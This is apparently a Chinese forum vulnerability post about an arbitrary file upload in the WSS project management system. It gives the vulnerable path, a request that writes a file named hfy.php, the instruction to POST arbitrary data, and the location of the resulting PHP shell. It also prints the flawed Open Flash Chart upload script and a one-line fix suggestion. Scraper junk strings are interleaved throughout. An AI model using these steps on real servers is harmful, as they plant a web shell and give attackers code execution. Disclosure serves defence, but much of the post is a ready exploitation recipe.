WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
0 ~$ l1 g! b  `& Q 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
) @7 e0 x9 j$ {6 k+ m
利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
5 w. s  S4 H! ?3 S9 \  F
2 [% O0 S! ]+ \9 KPost任意数据
- v$ X% N: r. A" _* D( C保存位置http://localhost/chart/tmp-upload-images/hfy.php
* _4 g& w  K8 t+ W% h8 D
% i& W/ p6 B* s7 z! q" d
1 p( K0 W: `5 c9 r最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
' \2 D' |9 m9 g7 J, e7 d4 Y
<?php
- v" B- x4 _* y2 d
1 }* ~# W1 r) E% k# c$ G4 @//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
" }% g, s- q1 o$ j
/*

print_r( $_GET );
print_r( $_POST );
print_r( $_FILES );
& K; L' l8 U* Q) L  o: U
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

+ V* U0 V2 Z4 Y6 r9 a, g1 {*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
8 D) B& s8 L% q/ s// echo $HTTP_RAW_POST_DATA;
, l4 d9 w) y% p- Q3 R; i, q! T
//
0 B3 t* ^% e7 P, _// POST data is usually string data, but we are passing a RAW .png
! T0 b$ g" [  s// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
# D' u( I0 A" s" \9 R0 b; B//

0 ?9 M9 y( F; C5 \$jfh = fopen($destination, 'w') or die("can't open file");
+ M' ?* p0 ^+ T- {5 W% P' K9 B! A8 Zfwrite($jfh, $HTTP_RAW_POST_DATA);
- h* ?1 l! x% ]fclose($jfh);

! c3 X9 o) V, l* W  B6 K//
// LOOK:
1 v. q: _7 F0 b$ R9 v: T! A0 V* I+ ~//
8 O5 E6 f2 s7 s" {exit();
6 t) T# y& {) q( L) }* [9 |//
// PHP5:
//
! V9 S: Q/ W4 e8 G( Y2 y4 m" q' e% l
# @. I4 G- \1 o; ]. x2 D( P
2 j: a& s# Q) L# P// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
6 Q: }1 ?" b( ^) b6 i
6 r. G* t9 \( j2 yif (!file_exists($default_path)) mkdir($default_path, 0777, true);

# {5 F# `, r- y2 }% V9 |// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
8 F  p0 h2 M2 h. O5 Z* W; s
// move the image into the specified directory //
8 p9 k( q% h3 I& ~8 ?7 {if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
5 B/ L0 ^! @! ^8 g; J: R6 N" F    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
1 {9 I) m1 Y5 q  o4 m3 y; e1 _} else {
  M3 f  D( i- b% l  m; Z" Z, a3 |    echo "FILE UPLOAD FAILED";
+ C9 ~$ X# j+ B! Z5 B}

" t6 r9 ~$ k$ f. H
?>

; f9 H. F# k, v: T- E+ J




/ q! g0 o! \8 q2 U! P" A, I修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
( l8 m) f4 T5 l' q

& b! @. |% q" q